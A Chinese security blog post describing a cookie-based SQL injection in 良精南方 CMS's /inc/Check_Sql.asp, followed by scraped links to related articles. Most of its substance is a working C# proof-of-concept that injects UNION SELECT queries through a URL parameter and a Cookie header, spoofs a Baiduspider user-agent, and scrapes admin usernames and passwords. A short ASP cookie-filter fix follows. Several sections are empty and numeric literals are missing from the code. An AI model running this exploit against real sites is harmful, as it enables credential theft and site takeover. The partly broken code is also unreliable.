良精南方cms /inc/Check_Sql.asp SQL Injection Based On Cookie
catalog
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
Relevant Link:
2. 漏洞触发条件
0x1: POC
using System;
using System.Collections;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
namespace windowsmanger
{
internal class ljnanfang
{
public string exp(string url)
{
string result;
try
{
string exps = "/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20%66%72%6F%6D%20%61%64%6D%69%6E";
string urls = url;
if (!urls.Contains("http://"))
{
urls = "http://" + urls;
}
string shuju = new WebClient
{
Headers =
{ {
"user-agent",
"Baiduspider"
}
},
Encoding = Encoding.Default
}.DownloadString(urls + exps).Replace("\r", "").Replace("\n", "");
int a = shuju.IndexOf("title=");
int b = shuju.IndexOf("target=");
string jieguo = shuju.Substring(a + , b - a - );
result = jieguo;
}
catch
{
string jieguosd = this.isshuju(url);
if (jieguosd != "网站未发现安全隐患")
{
result = jieguosd;
}
else
{
result = "网站未发现安全隐患";
}
}
return result;
}
public string isshuju(string url)
{
string result;
try
{
string exps = "/shownews.asp";
string shuju = new WebClient
{
Proxy = null,
Encoding = Encoding.Default,
Headers =
{ {
"user-agent",
"Baiduspider"
}, {
"Cookie",
"ASPSESSIONIDCACQBSAT=JGGFLMFDNIDGIFLOJHNBMGBK;id=59+union+select+1,username,password,4,5,6,7,8,9,10+from+admin"
}
}
}.DownloadString(url + exps);
MatchCollection matcha = new Regex("<td.height=.50..*?align=.center..class=..*?.>(?<admin>.*?)</td>\\r(?s).*?</font>次.*?>\\r.*?\\r.*?\\r.*?\\r(?<pass>.*?)</td>", RegexOptions.None).Matches(shuju);
IEnumerator enumerator = matcha.GetEnumerator();
try
{
if (enumerator.MoveNext())
{
Match match = (Match)enumerator.Current;
string bb = match.Groups["admin"].ToString().Replace(" ", "");
string cc = match.Groups["pass"].ToString().Replace(" ", "");
result = bb + " " + cc;
return result;
}
}
finally
{
IDisposable disposable = enumerator as IDisposable;
if (disposable != null)
{
disposable.Dispose();
}
}
result = "网站未发现安全隐患";
}
catch
{
result = "网站未发现安全隐患";
}
return result;
}
}
}
3. 漏洞影响范围
4. 漏洞代码分析
Cookie注入
5. 防御方法
/inc/Check_Sql.asp
On Error Resume Next
''''
Chk_badword=split(Query_Badword,"∥")
For Each Fy_Get In Request.Cookies
For i= To Ubound(Chk_badword)
If Instr(LCase(Request.Cookies(Fy_Get)),Chk_badword(i))<> Then
Response.End
End If
Next
Next
''''
官方最新的代码中包含有对POST、GET的过滤代码,需要在这个基础上加上Cookie注入防御
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved
良精南方cms /inc/Check_Sql.asp SQL Injection Based On Cookie的更多相关文章
- classic asp中使用ADODB.Command防止sql injection
原始代码如下 Set Conn = Server.CreateObject("Adodb.Connection") Conn.Open "Provider=Microso ...
- ASP/SQL 注入天书
引言 随着 B/S 模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据 ...
- ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...
- 防sql注入之参数绑定 SQL Injection Attacks and Defense 预处理语句与存储过程
http://php.net/manual/zh/pdo.prepared-statements.php 预处理语句与存储过程 很多更成熟的数据库都支持预处理语句的概念.什么是预处理语句?可以把它看作 ...
- druid sql黑名单 报异常 sql injection violation, part alway true condition not allow
最近使用druid,发现阿里这个连接池 真的很好用,可以监控到连接池活跃连接数 开辟到多少个连接数 关闭了多少个,对于我在项目中查看错误 问题,很有帮助, 但是最近发现里面 有条sql语句 被拦截了, ...
- PHP+MYSQL网站SQL Injection攻防
程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程:他们会先尝试着让程序报 ...
- SQL Injection(SQL注入漏洞)
审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...
- HP+MYSQL网站SQL Injection攻防
WebjxCom提示:程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程: ...
- Cacti /graphs_new.php SQL Injection Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 other SQL injection vulnerability ...
随机推荐
- Linux 信号详解六(可靠信号与不可靠信号)
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h&g ...
- C#——Marshal.StructureToPtr方法简介
目录 MarshalStructureToPtr方法简介 功能及位置 语法 参数说明 异常 备注 举例 本博客(http://blog.csdn.net/livelylittlefish)贴出作者(三 ...
- 无法连接windows虚拟机oracle的解决办法
在mac机上玩基于oracle db的开发真心不容易,oracle公司死活不出oracle express edition for mac OS,曾经发布过的oracle 10 for mac下载地址 ...
- C语言复习(1)
test.c #include <stdio.h> int main(){ printf("hello\n"); return 0; } 1.预处理阶段 由于在test ...
- UWP开源项目 LLQNotifier 页面间通信利器(移植EventBus)
前言 EventBus是一个Android版本的页面间通信库,这个库让页面间的通信变得十分容易且大幅降低了页面之间的耦合.小弟之前玩Android的时候就用得十分顺手,现在玩uwp就觉得应该在这平台也 ...
- .net程序员转行做手游开发经历(五)
大家好,真的是好长时间都没有更新博客了.上来博客园发现很多朋友还在关注我们,那给大家汇报下最近的一些进展. 收费版上线了,但是下载量不是很多,刚发布的时候下载每天的下载还是挺多,我们几个小伙伴在论坛. ...
- [BZOJ3142][HNOI2013]数列(组合)
题目:http://www.lydsy.com:808/JudgeOnline/problem.php?id=3142 分析: 考虑差值序列a1,a2,...,ak-1 那么对于一个确定的差值序列,对 ...
- 数据库MongoDB查询语句--持续更新
模糊查询: 包含字符串str : find({'name':/str/i}); {'name':/str/} 以str开头: {'name':/^str/} $in查询: 字段:{ field: ...
- MVC————扩展方法MvcHtmlString
使用前: public static class MyHtmlHelper { public static string GroupPage(this HtmlHelper helper) { str ...
- 关于出现 org.apache.commons.lang.exception.NestableRuntimeException的解决方法
最近做服务端和客户端之间的访问,出现了 org.apache.commons.lang.exception.NestableRuntimeException等状况.实在令人头大,翻到了一个很好的帖子说 ...